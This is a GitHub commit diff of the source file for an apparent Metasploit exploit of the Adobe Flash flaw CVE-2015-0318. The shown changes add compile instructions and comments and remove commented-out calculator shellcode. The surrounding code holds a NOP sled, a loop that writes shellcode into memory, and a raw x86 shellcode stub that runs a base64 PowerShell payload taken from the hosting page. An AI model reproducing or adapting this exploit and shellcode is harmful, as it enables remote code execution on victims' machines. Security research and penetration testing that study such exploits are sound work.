You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: external/source/exploits/CVE-2015-0318/Main.as
+30-30Lines changed: 30 additions & 30 deletions
Original file line number
Diff line number
Diff line change
@@ -1,5 +1,10 @@
1
1
package
2
2
{
3
+
/*
4
+
To compile (AIRSDK + Flex):
5
+
mxmlc Main.as -o Main.swf -strict=false
6
+
*/
7
+
3
8
import mx.utils.Base64Decoder;
4
9
import flash.display.*;
5
10
import flash.utils.ByteArray;
@@ -421,42 +426,19 @@ package
421
426
v[i++]=0x90909090;
422
427
v[i++]=0x90909090;
423
428
v[i++]=0x90909090;
424
-
//v[i++] = 0xcccccccc;
429
+
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
425
430
431
+
// Our payload (see GetPayload)
426
432
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
427
433
v[i++]= myshellcode[payload_i];
428
434
}
429
435
430
436
v[i++]=0x90909090;
431
437
v[i++]=0x90909090;
432
438
v[i++]=0x90909090;
433
-
//v[i++] = 0xcccccccc;
434
-
435
-
// we're using skylined's win32 calc shellcode, the function
436
-
// version that saves registers, but without the ret at the end...
437
-
438
-
/*
439
-
v[i++] = 0x52d23160;
440
-
v[i++] = 0x6c616368;
441
-
v[i++] = 0x52e68963;
442
-
v[i++] = 0x728b6456;
443
-
v[i++] = 0x0c768b30;
444
-
v[i++] = 0xad0c768b;
445
-
v[i++] = 0x7e8b308b;
446
-
v[i++] = 0x3c5f8b18;
447
-
v[i++] = 0x781f5c8b;
448
-
v[i++] = 0x201f748b;
449
-
v[i++] = 0x4c8bfe01;
450
-
v[i++] = 0xf901241f;
451
-
v[i++] = 0x512cb70f;
452
-
v[i++] = 0x3c81ad42;
453
-
v[i++] = 0x6e695707;
454
-
v[i++] = 0x8bf17545;
455
-
v[i++] = 0x011c1f74;
456
-
v[i++] = 0xae3c03fe;
457
-
v[i++] = 0x5858d7ff;
458
-
v[i++] = 0x90909061;
459
-
*/
439
+
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
440
+
441
+
460
442
// we just put things back how they were; at least, everything
461
443
// important. we need esp and ebp to be correct, which is easy;
462
444
// we need ecx to point to the object's vtable and then we can
@@ -475,18 +457,36 @@ package
475
457
}
476
458
477
459
publicfunctionGetPayload():Array {
460
+
// Grab the powershell payload from the sh parameter in the HTML file
478
461
var b64:Base64Decoder=newBase64Decoder();
479
462
var raw_psh_payload:String=LoaderInfo(this.root.loaderInfo).parameters.sh;
480
463
b64.decode(raw_psh_payload);
481
464
var psh_payload:String= b64.toByteArray().toString();
482
-
var payload:String="\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"+ psh_payload +"\x00";
0 commit comments